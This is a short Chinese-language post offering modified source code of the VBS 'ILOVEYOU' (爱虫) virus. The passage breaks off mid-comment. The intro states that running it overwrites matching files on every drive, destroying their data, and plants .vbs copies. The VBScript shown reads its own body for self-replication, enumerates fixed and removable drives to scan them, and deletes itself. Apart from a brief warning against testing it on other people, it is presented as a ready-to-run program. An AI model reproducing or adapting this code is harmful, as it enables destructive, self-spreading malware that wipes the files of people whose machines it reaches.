VBS病毒（爱虫病毒） 源代码

说明：本人对某些代码进行了修改。该文件是一个完整的程序。该文件执行之后，会寻找硬盘上所有满足条件的文件，对其进行强制性覆盖（满足条件的文件数据将全部丢失）、并再创建一个相同文件名但后带.vbs的文件。因此，请注意设立好破坏测试条件，千万不要对他人进行测试，否则，一切后果自负。如果你的系统不支持.vbs,可以将后缀改为.vbe

---

Dim folder, fso, foldername, f, d, dc
Set fso = CreateObject("scripting.filesystemobject")
Set self = fso.opentextfile(wscript.scriptfullname, 1)
vbscopy = self.readall              '读取病毒体，以备复制到文件
self.Close
Set dc = fso.Drives
For Each d In dc
If d.drivetype = 3 Or d.drivetype = 2 Then '检查磁盘类型
wscript.echo d                   '弹出窗口，显示找到盘符
scan (d)
End If
Next
lsfile = wscript.scriptfullname        '该脚本程序路径
Set lsfile = fso.getfile(lsfile)
lsfile.Delete (True)                  '病毒运行后自